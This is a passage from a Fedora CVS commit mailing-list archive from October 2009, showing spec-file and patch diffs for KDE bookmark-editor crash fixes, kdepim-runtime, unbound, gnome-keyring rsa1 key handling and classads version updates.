 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -234,6 +236,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
+- backport upstream patch for bookmark editor drag&drop crash (kde#160679)
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - fix Dolphin crash (regression)
 



From kkofler at fedoraproject.org  Fri Oct  9 00:28:11 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Fri,  9 Oct 2009 00:28:11 +0000 (UTC)
Subject: rpms/kdebase/F-10 kdebase-4.3.2-kde#160679-bookmark-crash.patch,
	NONE, 1.1 kdebase.spec, 1.372, 1.373
Message-ID: <20091009002811.D59B011C00DB@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdebase/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10289/F-10

Modified Files:
	kdebase.spec 
Added Files:
	kdebase-4.3.2-kde#160679-bookmark-crash.patch 
Log Message:
* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
- backport upstream patch for bookmark editor drag&drop crash (kde#160679)

kdebase-4.3.2-kde#160679-bookmark-crash.patch:
 bookmarklistview.cpp |   34 ++++++++++++++++++++-------
 bookmarkmodel.cpp    |   64 +++++++++++++++++++++++++++++++++++----------------
 2 files changed, 71 insertions(+), 27 deletions(-)

--- NEW FILE kdebase-4.3.2-kde#160679-bookmark-crash.patch ---
Index: apps/keditbookmarks/bookmarkmodel.cpp
===================================================================
--- apps/keditbookmarks/bookmarkmodel.cpp	(Revision 1032327)
+++ apps/keditbookmarks/bookmarkmodel.cpp	(Revision 1032328)
@@ -78,7 +78,7 @@
     //Text
     if(index.isValid() && (role == Qt::DisplayRole || role == Qt::EditRole))
     {
-        KBookmark bk = bookmarkForIndex(index);
+        const KBookmark bk = bookmarkForIndex(index);
         if(bk.address().isEmpty())
         {
             if(index.column() == 0)
@@ -100,12 +100,12 @@
                     : subnode.firstChild().toText().data();
             }
             case 3: { //Status column
-                QString text1 = ""; //FIXME favicon state
-                QString text2 = ""; //FIXME link state
-                if(text1.isNull() || text2.isNull())
-                    return QVariant( text1 + text2);
+                QString text1; //FIXME favicon state
+                QString text2; //FIXME link state
+                if(text1.isEmpty() || text2.isEmpty())
+                    return QVariant( text1 + text2 );
                 else
-                    return QVariant( text1 + "  --  " + text2);
+                    return QVariant( text1 + "  --  " + text2 );
             }
             default:
                 return QVariant( QString() ); //can't happen
@@ -141,12 +141,14 @@
                 return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled | Qt::ItemIsDropEnabled;
         }
         else
+        {
             if(index.column() < 3)
-                return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled | Qt::ItemIsDropEnabled;
+                return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsDragEnabled;
+        }
     }
 
     // root
-    return Qt::ItemIsEnabled | Qt::ItemIsSelectable;
+    return Qt::ItemIsEnabled | Qt::ItemIsSelectable | Qt::ItemIsDropEnabled;
 }
 
 bool KBookmarkModel::setData(const QModelIndex &index, const QVariant &value, int role)
@@ -187,7 +189,7 @@
         return createIndex(row, column, d->mRootItem);
 
     TreeItem * item = static_cast<TreeItem *>(parent.internalPointer());
-    if(row == item->childCount()) {// Received drop below last row, simulate drop on last row
+        if(row == item->childCount()) {// Received drop below last row, simulate drop on last row
         return createIndex(row-1, column, item->child(row-1));
     }
 
@@ -284,22 +286,42 @@
 
 bool KBookmarkModel::dropMimeData(const QMimeData * data, Qt::DropAction action, int row, int column, const QModelIndex & parent)
 {
-    Q_UNUSED(action)
-
     //FIXME this only works for internal drag and drops
     //FIXME Moving is *very* buggy
-
-    QModelIndex idx;
+    QModelIndex dropDestIndex;
+    bool isInsertBetweenOp = false;
     if(row == -1)
-        idx = parent;
+    {
+        dropDestIndex = parent;
+    }
     else
-        idx = index(row, column, parent);
+    {
+        isInsertBetweenOp = true;
+        dropDestIndex= index(row, column, parent);
+    }
 
-    KBookmark bk = bookmarkForIndex(idx);
-    QString addr = bk.address();
-    if(bk.isGroup())
-        addr += "/0";
+    KBookmark dropDestBookmark = bookmarkForIndex(dropDestIndex);
+    if (dropDestBookmark.isNull())
+    {
+        // Presumably an invalid index: assume we want to place this in the root bookmark
+        // folder.
+        dropDestBookmark = d->mRoot;
+    }
 
+    QString addr = dropDestBookmark.address();
+    if(dropDestBookmark.isGroup() && !isInsertBetweenOp)
+    {
+      addr += "/0";
+    }
+    // bookmarkForIndex(...) does not distinguish between the last item in the folder
+    // and the point *after* the last item in the folder (and its hard to see how to
+    // modify it so it does), so do the check here.
+    if (isInsertBetweenOp && row == dropDestBookmark.positionInParent() + 1)
+    {
+        // Attempting to insert underneath the last item in a folder; adjust the address.
+        addr = KBookmark::nextAddress(addr);
+    }
+
     if(action == Qt::CopyAction)
     {
         KEBMacroCommand * cmd = CmdGen::insertMimeSource("Copy", data, addr);
@@ -338,6 +360,10 @@
 
 KBookmark KBookmarkModel::bookmarkForIndex(const QModelIndex& index) const
 {
+    if (!index.isValid())
+    {
+      return KBookmark();
+    }
     return static_cast<TreeItem *>(index.internalPointer())->bookmark();
 }
 
Index: apps/keditbookmarks/bookmarklistview.cpp
===================================================================
--- apps/keditbookmarks/bookmarklistview.cpp	(Revision 1032327)
+++ apps/keditbookmarks/bookmarklistview.cpp	(Revision 1032328)
@@ -43,6 +43,7 @@
 
 }
 
+
 /* ----------- */
 
 BookmarkFolderView::BookmarkFolderView( BookmarkListView * view, QWidget * parent )
@@ -53,6 +54,7 @@
     setModel(mmodel);
     header()->setVisible(false);
     setRootIsDecorated(false);
+    setDropIndicatorShown(true);
     expandAll();
     setCurrentIndex( mmodel->index(0,0, QModelIndex()));
     
@@ -88,7 +90,6 @@
     return static_cast<KBookmarkModel *>(mmodel->sourceModel())->bookmarkForIndex(index);
 }
 
-
 /********/
 
 
@@ -173,15 +174,32 @@
 
 bool BookmarkFolderViewFilterModel::dropMimeData(const QMimeData *data, Qt::DropAction action, int row, int column, const QModelIndex &parent)
 {
-    // FIXME Probably bug in QT, send bug report
-    kDebug()<<"BookmarkFolderViewFilterModel::dropMimeData"<<endl;
-    QModelIndex idx;
+    QModelIndex dropDestProxyIndex;
+    bool isInsertBetweenOp = false;
     if(row == -1)
-        idx = parent;
+    {
+        dropDestProxyIndex = parent;
+    }
     else
-        idx = index(row, column, parent);
-    QModelIndex src = mapToSource(idx);
-    return sourceModel()->dropMimeData( data, action, -1, -1, src);
+    {
+        dropDestProxyIndex = index(row, column, parent);
+        isInsertBetweenOp = true;
+    }
+    QModelIndex dropDestIndex = mapToSource(dropDestProxyIndex);
+    if (!isInsertBetweenOp)
+    {
+        // Just dropping it onto dropDestIndex - ignore row and column.
+        return sourceModel()->dropMimeData( data, action, -1, -1, dropDestIndex);
+    }
+    else
+    {
+        // Dropping before dropDestIndex.  We want to keep row and column
+        // relative to the parent.
+        // I'm reasonably certain the parent must be valid in this case.  If you get a crash here - nag me!
+        Q_ASSERT(parent.isValid());
+        QModelIndex dropDestParentIndex = mapToSource(parent);
+        return sourceModel()->dropMimeData( data, action, dropDestIndex.row(), dropDestIndex.column(), dropDestParentIndex);
+    }
 }
 
 BookmarkFolderViewFilterModel::~BookmarkFolderViewFilterModel()


Index: kdebase.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdebase/F-10/kdebase.spec,v
retrieving revision 1.372
retrieving revision 1.373
diff -u -p -r1.372 -r1.373
--- kdebase.spec	7 Oct 2009 11:00:12 -0000	1.372
+++ kdebase.spec	9 Oct 2009 00:28:10 -0000	1.373
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.2
-Release: 2%{?dist}
+Release: 3%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -17,6 +17,7 @@ Patch2:   kdebase-4.2.1-home-icon.patch
 
 # 4.3 upstream patches
 Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
+Patch101: kdebase-4.3.2-kde#160679-bookmark-crash.patch
 
 %ifnarch s390 s390x
 Requires: eject
@@ -112,6 +113,7 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 
 # 4.3 upstream patches
 %patch100 -p1 -b .dolphin-kde#202176
+%patch101 -p0 -b .kde#160679
 
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
@@ -234,6 +236,9 @@ fi
 
 
 %changelog
+* Fri Oct 09 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.2-3
+- backport upstream patch for bookmark editor drag&drop crash (kde#160679)
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - fix Dolphin crash (regression)
 



From rdieter at fedoraproject.org  Fri Oct  9 00:29:14 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 00:29:14 +0000 (UTC)
Subject: rpms/kdepim-runtime/F-10 .cvsignore, 1.2, 1.3 kdepim-runtime.spec,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091009002914.72C4F11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdepim-runtime/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10587/F-10

Modified Files:
	.cvsignore kdepim-runtime.spec sources 
Log Message:
sync w/devel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Aug 2009 12:54:03 -0000	1.2
+++ .cvsignore	9 Oct 2009 00:29:14 -0000	1.3
@@ -2,3 +2,5 @@ kdepim-runtime-4.2.95.tar.bz2
 kdepim-runtime-4.2.96.tar.bz2
 kdepim-runtime-4.2.98.tar.bz2
 kdepim-runtime-4.3.0.tar.bz2
+kdepim-runtime-4.3.1.tar.bz2
+kdepim-runtime-4.3.2.tar.bz2


Index: kdepim-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-10/kdepim-runtime.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- kdepim-runtime.spec	4 Sep 2009 09:13:53 -0000	1.2
+++ kdepim-runtime.spec	9 Oct 2009 00:29:14 -0000	1.3
@@ -2,7 +2,7 @@
 
 Name: kdepim-runtime
 Summary: KDE PIM Runtime Environment
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 
 License: GPLv2
@@ -130,6 +130,9 @@ rm -rf %{buildroot}
 %{_kde4_libdir}/lib*.so.*
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	4 Sep 2009 09:13:53 -0000	1.3
+++ sources	9 Oct 2009 00:29:14 -0000	1.4
@@ -1 +1 @@
-a53f323398ccb9a8bd15a4b81050a046  kdepim-runtime-4.3.1.tar.bz2
+a998b2d6e62e79a80fefc2b3c632a3b8  kdepim-runtime-4.3.2.tar.bz2



From rdieter at fedoraproject.org  Fri Oct  9 00:29:14 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 00:29:14 +0000 (UTC)
Subject: rpms/kdepim-runtime/F-11 .cvsignore, 1.2, 1.3 kdepim-runtime.spec,
	1.2, 1.3 sources, 1.3, 1.4
Message-ID: <20091009002914.EAFBE11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdepim-runtime/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10587/F-11

Modified Files:
	.cvsignore kdepim-runtime.spec sources 
Log Message:
sync w/devel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Aug 2009 12:54:03 -0000	1.2
+++ .cvsignore	9 Oct 2009 00:29:14 -0000	1.3
@@ -2,3 +2,5 @@ kdepim-runtime-4.2.95.tar.bz2
 kdepim-runtime-4.2.96.tar.bz2
 kdepim-runtime-4.2.98.tar.bz2
 kdepim-runtime-4.3.0.tar.bz2
+kdepim-runtime-4.3.1.tar.bz2
+kdepim-runtime-4.3.2.tar.bz2


Index: kdepim-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-11/kdepim-runtime.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- kdepim-runtime.spec	4 Sep 2009 09:12:41 -0000	1.2
+++ kdepim-runtime.spec	9 Oct 2009 00:29:14 -0000	1.3
@@ -2,7 +2,7 @@
 
 Name: kdepim-runtime
 Summary: KDE PIM Runtime Environment
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 
 License: GPLv2
@@ -130,6 +130,9 @@ rm -rf %{buildroot}
 %{_kde4_libdir}/lib*.so.*
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	4 Sep 2009 09:12:41 -0000	1.3
+++ sources	9 Oct 2009 00:29:14 -0000	1.4
@@ -1 +1 @@
-a53f323398ccb9a8bd15a4b81050a046  kdepim-runtime-4.3.1.tar.bz2
+a998b2d6e62e79a80fefc2b3c632a3b8  kdepim-runtime-4.3.2.tar.bz2



From rdieter at fedoraproject.org  Fri Oct  9 00:29:15 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  9 Oct 2009 00:29:15 +0000 (UTC)
Subject: rpms/kdepim-runtime/F-12 .cvsignore, 1.6, 1.7 kdepim-runtime.spec,
	1.8, 1.9 sources, 1.6, 1.7
Message-ID: <20091009002915.42DF611C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdepim-runtime/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10587/F-12

Modified Files:
	.cvsignore kdepim-runtime.spec sources 
Log Message:
sync w/devel



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	28 Aug 2009 16:12:54 -0000	1.6
+++ .cvsignore	9 Oct 2009 00:29:15 -0000	1.7
@@ -3,3 +3,4 @@ kdepim-runtime-4.2.96.tar.bz2
 kdepim-runtime-4.2.98.tar.bz2
 kdepim-runtime-4.3.0.tar.bz2
 kdepim-runtime-4.3.1.tar.bz2
+kdepim-runtime-4.3.2.tar.bz2


Index: kdepim-runtime.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-12/kdepim-runtime.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- kdepim-runtime.spec	28 Aug 2009 16:12:54 -0000	1.8
+++ kdepim-runtime.spec	9 Oct 2009 00:29:15 -0000	1.9
@@ -2,7 +2,7 @@
 
 Name: kdepim-runtime
 Summary: KDE PIM Runtime Environment
-Version: 4.3.1
+Version: 4.3.2
 Release: 1%{?dist}
 
 License: GPLv2
@@ -130,6 +130,9 @@ rm -rf %{buildroot}
 %{_kde4_libdir}/lib*.so.*
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1
 - 4.3.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdepim-runtime/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	28 Aug 2009 16:12:54 -0000	1.6
+++ sources	9 Oct 2009 00:29:15 -0000	1.7
@@ -1 +1 @@
-a53f323398ccb9a8bd15a4b81050a046  kdepim-runtime-4.3.1.tar.bz2
+a998b2d6e62e79a80fefc2b3c632a3b8  kdepim-runtime-4.3.2.tar.bz2



From pwouters at fedoraproject.org  Fri Oct  9 01:24:26 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 01:24:26 +0000 (UTC)
Subject: rpms/unbound/devel .cvsignore,1.9,1.10 unbound.spec,1.33,1.34
Message-ID: <20091009012426.1853711C00DB@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27988

Modified Files:
	.cvsignore unbound.spec 
Log Message:
* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-1
- Upgraded to 1.3.4. Security fix with validating NSEC3 records



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/unbound/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	17 Aug 2009 15:10:16 -0000	1.9
+++ .cvsignore	9 Oct 2009 01:24:23 -0000	1.10
@@ -2,4 +2,6 @@ unbound-1.1.1.tar.gz
 unbound-1.2.0.tar.gz
 unbound-1.2.1.tar.gz
 unbound-1.3.0.tar.gz
+unbound-1.3.2.tar.gz
+unbound-1.3.1.tar.gz
 unbound-1.3.3.tar.gz


Index: unbound.spec
===================================================================
RCS file: /cvs/extras/rpms/unbound/devel/unbound.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- unbound.spec	21 Aug 2009 16:18:36 -0000	1.33
+++ unbound.spec	9 Oct 2009 01:24:23 -0000	1.34
@@ -8,8 +8,8 @@
 
 Summary: Validating, recursive, and caching DNS(SEC) resolver
 Name: unbound
-Version: 1.3.3
-Release: 2%{?dist}
+Version: 1.3.4
+Release: 1%{?dist}
 License: BSD
 Url: http://www.nlnetlabs.nl/unbound/
 Source: http://www.unbound.net/downloads/%{name}-%{version}.tar.gz
@@ -193,6 +193,9 @@ fi
 %postun libs -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 08 2009 Paul Wouters <paul at xelerance.com> - 1.3.4-1
+- Upgraded to 1.3.4. Security fix with validating NSEC3 records
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.3.3-2
 - rebuilt with new openssl
 



From pwouters at fedoraproject.org  Fri Oct  9 01:28:02 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Fri,  9 Oct 2009 01:28:02 +0000 (UTC)
Subject: rpms/unbound/devel .cvsignore,1.10,1.11 sources,1.13,1.14
Message-ID: <20091009012802.DAA6C11C00DB@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/unbound/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29606

Modified Files:
	.cvsignore sources 
Log Message:
updated sources



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/unbound/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	9 Oct 2009 01:24:23 -0000	1.10
+++ .cvsignore	9 Oct 2009 01:28:02 -0000	1.11
@@ -5,3 +5,4 @@ unbound-1.3.0.tar.gz
 unbound-1.3.2.tar.gz
 unbound-1.3.1.tar.gz
 unbound-1.3.3.tar.gz
+unbound-1.3.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/unbound/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	17 Aug 2009 15:10:16 -0000	1.13
+++ sources	9 Oct 2009 01:28:02 -0000	1.14
@@ -1 +1,2 @@
 f6b2b2c375288dfd2a03c4a36676221e  unbound-1.3.3.tar.gz
+d1eb5efed0c36c10dbaf3f805ff3a4bd  unbound-1.3.4.tar.gz



From mclasen at fedoraproject.org  Fri Oct  9 01:44:20 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri,  9 Oct 2009 01:44:20 +0000 (UTC)
Subject: rpms/gnome-keyring/F-12 rsa1-keys.patch, NONE,
	1.1 gnome-keyring.spec, 1.131, 1.132
Message-ID: <20091009014420.6154011C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-keyring/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3477

Modified Files:
	gnome-keyring.spec 
Added Files:
	rsa1-keys.patch 
Log Message:
Fix handling of rsa1 keys


rsa1-keys.patch:
 gck-ssh-agent-ops.c |   15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

--- NEW FILE rsa1-keys.patch ---
>From 63c148b12c08ea0cfe72ac921abdcbebba84acc1 Mon Sep 17 00:00:00 2001
From: Vincent Untz <vuntz at gnome.org>
Date: Thu, 8 Oct 2009 16:25:11 +0200
Subject: [PATCH] [ssh-agent] Fix support for rsa1 keys

Read the comment, instead of ignoring it and using the bytes as if they
were constraints.

https://bugzilla.gnome.org/show_bug.cgi?id=597813
---
 pkcs11/ssh-agent/gck-ssh-agent-ops.c |   14 ++++++++++++++
 1 files changed, 14 insertions(+), 0 deletions(-)

diff --git a/pkcs11/ssh-agent/gck-ssh-agent-ops.c b/pkcs11/ssh-agent/gck-ssh-agent-ops.c
index d3507f4..c02c43e 100644
--- a/pkcs11/ssh-agent/gck-ssh-agent-ops.c
+++ b/pkcs11/ssh-agent/gck-ssh-agent-ops.c
@@ -685,6 +685,7 @@ op_v1_add_identity (GckSshAgentCall *call)
 {
 	GP11Attributes *pub, *priv;
 	GP11Session *session;
+	gchar *comment = NULL;
 	gboolean ret;
 	gsize offset = 5;	
 	guint32 unused;
@@ -702,6 +703,19 @@ op_v1_add_identity (GckSshAgentCall *call)
 		return FALSE;		
 	}
 	
+	/* Get the comment */
+	if (!egg_buffer_get_string (call->req, offset, &offset, &comment, (EggBufferAllocator)g_realloc)) {
+		gp11_attributes_unref (pub);
+		gp11_attributes_unref (priv);
+		return FALSE;
+	}
+
+	/*
+	gp11_attributes_add_string (pub, CKA_LABEL, comment);
+	gp11_attributes_add_string (priv, CKA_LABEL, comment);
+	*/
+	g_free (comment);
+
 	gp11_attributes_add_string (priv, CKA_LABEL, V1_LABEL);
 	gp11_attributes_add_string (pub, CKA_LABEL, V1_LABEL);
 	
-- 
1.6.4.2

Index: gnome-keyring.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-keyring/F-12/gnome-keyring.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- gnome-keyring.spec	3 Oct 2009 00:20:20 -0000	1.131
+++ gnome-keyring.spec	9 Oct 2009 01:44:19 -0000	1.132
@@ -8,7 +8,7 @@
 Summary: Framework for managing passwords and other secrets
 Name: gnome-keyring
 Version: 2.28.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gnome-keyring/2.28/gnome-keyring-%{version}.tar.bz2
@@ -16,6 +16,9 @@ Source: http://download.gnome.org/source
 # https://bugzilla.gnome.org/show_bug.cgi?id=595698
 Patch0: gnome-keyring-no-logout-delay.patch
 
+# fixed upstream: https://bugzilla.gnome.org/show_bug.cgi?id=597813
+Patch1: rsa1-keys.patch
+
 URL: http://www.gnome.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,6 +72,7 @@ automatically unlock the "login" keyring
 %prep
 %setup -q -n gnome-keyring-%{version}
 %patch0 -p1 -b .logout-delay
+%patch1 -p1 -b .rsa1-keys
 
 %build
 %configure --disable-gtk-doc --with-pam-dir=/%{_lib}/security --disable-acl-prompts
@@ -146,6 +150,9 @@ fi
 
 
 %changelog
+* Thu Oct  8 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3
+- Fix handling of rsa1 keys
+
 * Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
 - Avoid a 10 second delay at logout
 



From matt at fedoraproject.org  Fri Oct  9 01:47:41 2009
From: matt at fedoraproject.org (matt)
Date: Fri,  9 Oct 2009 01:47:41 +0000 (UTC)
Subject: rpms/classads/F-10 .cvsignore, 1.4, 1.5 classads.spec, 1.4,
	1.5 sources, 1.4, 1.5
Message-ID: <20091009014741.34E5E11C00DB@cvs1.fedora.phx.redhat.com>

Author: matt

Update of /cvs/pkgs/rpms/classads/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4598

Modified Files:
	.cvsignore classads.spec sources 
Log Message:
upgrade to 1.0.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Jan 2009 14:46:04 -0000	1.4
+++ .cvsignore	9 Oct 2009 01:47:40 -0000	1.5
@@ -1 +1 @@
-classads-1.0.1.tar.gz
+classads-1.0.4.tar.gz


Index: classads.spec
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-10/classads.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- classads.spec	7 Jan 2009 14:46:04 -0000	1.4
+++ classads.spec	9 Oct 2009 01:47:40 -0000	1.5
@@ -1,20 +1,17 @@
 Summary: Condor's classified advertisement language
 Name: classads
-Version: 1.0.1
+Version: 1.0.4
 Release: 1%{?dist}
 License: ASL 2.0
 Group: Development/Libraries
 URL: http://www.cs.wisc.edu/condor/classad/
-Source0: ftp://ftp.cs.wisc.edu/condor/classad/c++/classads-1.0.1.tar.gz
-Patch0: f9_gcc_header.patch
+Source0: http://parrot.cs.wisc.edu/externals/classads-1.0.4.tar.gz
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 #BuildRequires: libtool
 #BuildRequires: pkgconfig
 BuildRequires: pcre-devel
 
-Requires: pcre
-
 %description
 Classified Advertisements (classads) are the lingua franca of
 Condor. They are used for describing jobs, workstations, and other
@@ -55,8 +52,7 @@ Static versions of Condor's ClassAd Libr
 and flexible, semi-structured representation of data.
 
 %prep
-%setup -q
-%patch0 -p1
+%setup -q -n %name-%version
 
 %build
 %configure --enable-namespace --enable-flexible-member CC=g++
@@ -137,6 +133,9 @@ make check
 
 
 %changelog
+* Thu Oct  8 2009  <matt at redhat> - 1.0.4-1
+- Upgraded to 1.0.4 release
+
 * Tue Jan  6 2009  <matt at redhat> - 1.0.1-1
 - Upgraded to 1.0.1 release:
 -  New functions: ifThenElse, regexps, interval


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	7 Jan 2009 14:46:04 -0000	1.4
+++ sources	9 Oct 2009 01:47:41 -0000	1.5
@@ -1 +1 @@
-c98906c025ab9a9381e644e9d7094d6d  classads-1.0.1.tar.gz
+7cb3b3173dac3ea1984266e298463ea0  classads-1.0.4.tar.gz



From matt at fedoraproject.org  Fri Oct  9 01:49:05 2009
From: matt at fedoraproject.org (matt)
Date: Fri,  9 Oct 2009 01:49:05 +0000 (UTC)
Subject: rpms/classads/F-10 f9_gcc_header.patch,1.1,NONE
Message-ID: <20091009014905.0A27811C00DB@cvs1.fedora.phx.redhat.com>

Author: matt

Update of /cvs/pkgs/rpms/classads/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5012

Removed Files:
	f9_gcc_header.patch 
Log Message:
removed f9_gcc_header.patch


--- f9_gcc_header.patch DELETED ---



From matt at fedoraproject.org  Fri Oct  9 01:52:32 2009
From: matt at fedoraproject.org (matt)
Date: Fri,  9 Oct 2009 01:52:32 +0000 (UTC)
Subject: rpms/classads/F-11 .cvsignore, 1.4, 1.5 classads.spec, 1.5,
	1.6 sources, 1.4, 1.5 f9_gcc_header.patch, 1.1, NONE
Message-ID: <20091009015232.2C42111C00DB@cvs1.fedora.phx.redhat.com>

Author: matt

Update of /cvs/pkgs/rpms/classads/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6840

Modified Files:
	.cvsignore classads.spec sources 
Removed Files:
	f9_gcc_header.patch 
Log Message:
upgrade to 1.0.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	7 Jan 2009 14:57:25 -0000	1.4
+++ .cvsignore	9 Oct 2009 01:52:31 -0000	1.5
@@ -1 +1 @@
-classads-1.0.1.tar.gz
+classads-1.0.4.tar.gz


Index: classads.spec
===================================================================
RCS file: /cvs/pkgs/rpms/classads/F-11/classads.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- classads.spec	24 Feb 2009 07:40:55 -0000	1.5
